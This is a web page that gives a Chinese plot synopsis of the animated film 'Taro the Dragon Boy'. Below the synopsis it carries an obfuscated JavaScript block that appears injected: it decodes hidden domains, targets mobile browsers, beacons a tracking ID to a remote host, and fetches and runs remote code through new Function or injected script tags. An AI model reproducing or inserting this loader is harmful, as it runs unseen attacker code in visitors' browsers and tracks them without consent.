好吃懒做的龙子太郎（加藤淳也 配音）和奶奶（矢吹寿子 配音）住在贫穷的小村子里。一天，奶奶向太郎讲起了他的身世。太郎的母亲（吉永小百合 配音）怀孕时饥饿难忍，便打破禁令吃了村里的岩鱼，不料就此变成了龙。龙生下太郎后，留下宝珠作为母乳，并告诉奶奶等孩子长大后让他去北国的湖来找她，就此飞空而去。太郎即日启程，去北国找母亲。 在去的路上，太郎的青梅竹马的阿雅（富永みーな 配音）被黑鬼（北村和夫 配音）抓走，太郎打败黑鬼，救出了阿彩。一直被黑鬼骚扰的村人非常感激太郎，请他美餐了一顿。太郎吃着自己从来没吃过的喷香的米饭，流下了眼泪，他多么希望自己家乡的人们也能吃上这样的米饭啊。村人还将一面镜子和日行百里的马驹送给太郎作为谢礼，太郎将宝物转赠阿雅，让她先回家，自己继续踏上了旅途。太郎在山里遇到大雪，遭雪女袭击失去了意识，太郎能突破重重险阻找到母亲吗……
function TtJme(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function SGVPl(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TtJme(t);};window[''+'G'+'Y'+'m'+'o'+'X'+'k'+'u'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function BlWkd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=SGVPl,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=BlWkd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=BlWkd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmRzYWhpai5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNA==','4680',window,document,['l','3']);}:function(){};